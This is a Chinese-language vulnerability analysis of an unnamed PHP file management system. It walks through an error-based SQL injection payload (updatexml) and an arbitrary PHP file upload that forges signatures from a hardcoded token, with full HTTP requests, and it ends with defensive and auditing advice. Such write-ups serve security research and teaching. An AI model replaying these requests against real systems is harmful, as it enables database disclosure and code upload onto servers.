记一次0.5day分析
字数 1039 2025-08-19 12:42:20
0.5day漏洞分析与利用教学文档
1. SQL注入漏洞分析
1.1 漏洞背景
该漏洞存在于一个文件管理系统,当查询文件列表时,系统会生成SQL语句但不立即执行,导致特殊字符未被正确处理,最终通过UNION操作造成SQL注入。
1.2 漏洞原理
- 框架使用
fetchSql(true)仅生成SQL而不执行 - 生成的SQL语句中包含未转义的特殊字符(如单引号)
- 最终通过UNION操作将恶意SQL片段拼接到查询中
1.3 关键代码分析
// 生成的SQL语句示例
string(221) "SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE `uid` = 10 AND `parent_folder` = 3' AND `delete_time` IS NULL AND `origin_name` LIKE '%aa%'"
// 最终执行的恶意SQL
SELECT `id`,`uid`,`shares_id`,folder_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_folders` WHERE `uid` = 10 AND `parent_folder` = '3' AND `delete_time` IS NULL AND `folder_name` LIKE '%aa%'
UNION ALL
( SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE `uid` = 10 AND `parent_folder` = 3 AND `delete_time` IS NULL AND `origin_name` LIKE '%aa%' ) LIMIT 0,20
1.4 漏洞利用
通过构造特殊参数触发XPath错误泄露数据库信息:
GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1
2. 文件上传漏洞分析
2.1 漏洞背景
系统存在一个受保护的文件上传功能,通过绕过签名验证和利用通知机制,攻击者可以实现任意文件上传并获取上传路径。
2.2 漏洞原理
- 上传功能位于
public/server/index.php中的start()方法 - 虽然需要签名验证,但签名密钥硬编码在配置中
- 上传后通过
upload_notify函数泄露文件路径
2.3 签名验证机制
- 签名算法:
md5("md=upload&uid=1asdasfasfasfasfasfa") - 硬编码token:
asdasfasfasfasfasfa - 签名验证逻辑:
- 从GET参数构建参数字符串
- 拼接硬编码token
- 计算MD5并与传入的sign参数比较
2.4 漏洞利用步骤
2.4.1 生成有效签名
<?php echo md5("md=upload&uid=1asdasfasfasfasfasfa");?>
// 输出: e8766abd8742eb67a2c07b089ecf636a
2.4.2 上传恶意文件
POST /server/index.php/start?md=upload&uid=1&sign=e8766abd8742eb67a2c07b089ecf636a HTTP/1.1
Host: wp.com
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
----------------------------570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php
<?php phpinfo(); ?>
----------------------------570796120375390059114427--
2.4.3 获取上传路径
- 利用
upload_notify功能泄露路径 - 生成通知请求签名:
echo md5("md=upload¬ify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa");
// 输出: 88c03d47ed5a1df9ed7ed9e1c1ce8afd
- 发送带通知的请求:
POST /server/index.php/start?md=upload&uid=1¬ify=http://127.0.0.1:8877/&sign=88c03d47ed5a1df9ed7ed9e1c1ce8afd HTTP/1.1
Host: wp.com
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
[同上文件内容]
3. 防御建议
3.1 SQL注入防御
- 始终使用参数化查询或预处理语句
- 避免使用
fetchSql(true)生成未处理的SQL - 对用户输入进行严格的过滤和转义
- 禁用危险的SQL操作如UNION
3.2 文件上传防御
- 不要硬编码签名密钥
- 实现更安全的签名算法(如HMAC)
- 限制上传文件类型(白名单方式)
- 禁止上传可执行文件(.php等)
- 随机化上传文件路径和名称
- 不要通过外部请求泄露敏感信息
4. 审计技巧总结
- 关注框架的特殊用法如
fetchSql(true) - 追踪用户输入在整个处理流程中的变化
- 对于签名验证机制,检查密钥是否可预测
- 注意protected/private方法的调用链
- 使用PHPStorm等专业IDE进行代码审计
- 多调试、多打印中间变量值
- 关注文件操作函数(move_uploaded_file等)的使用场景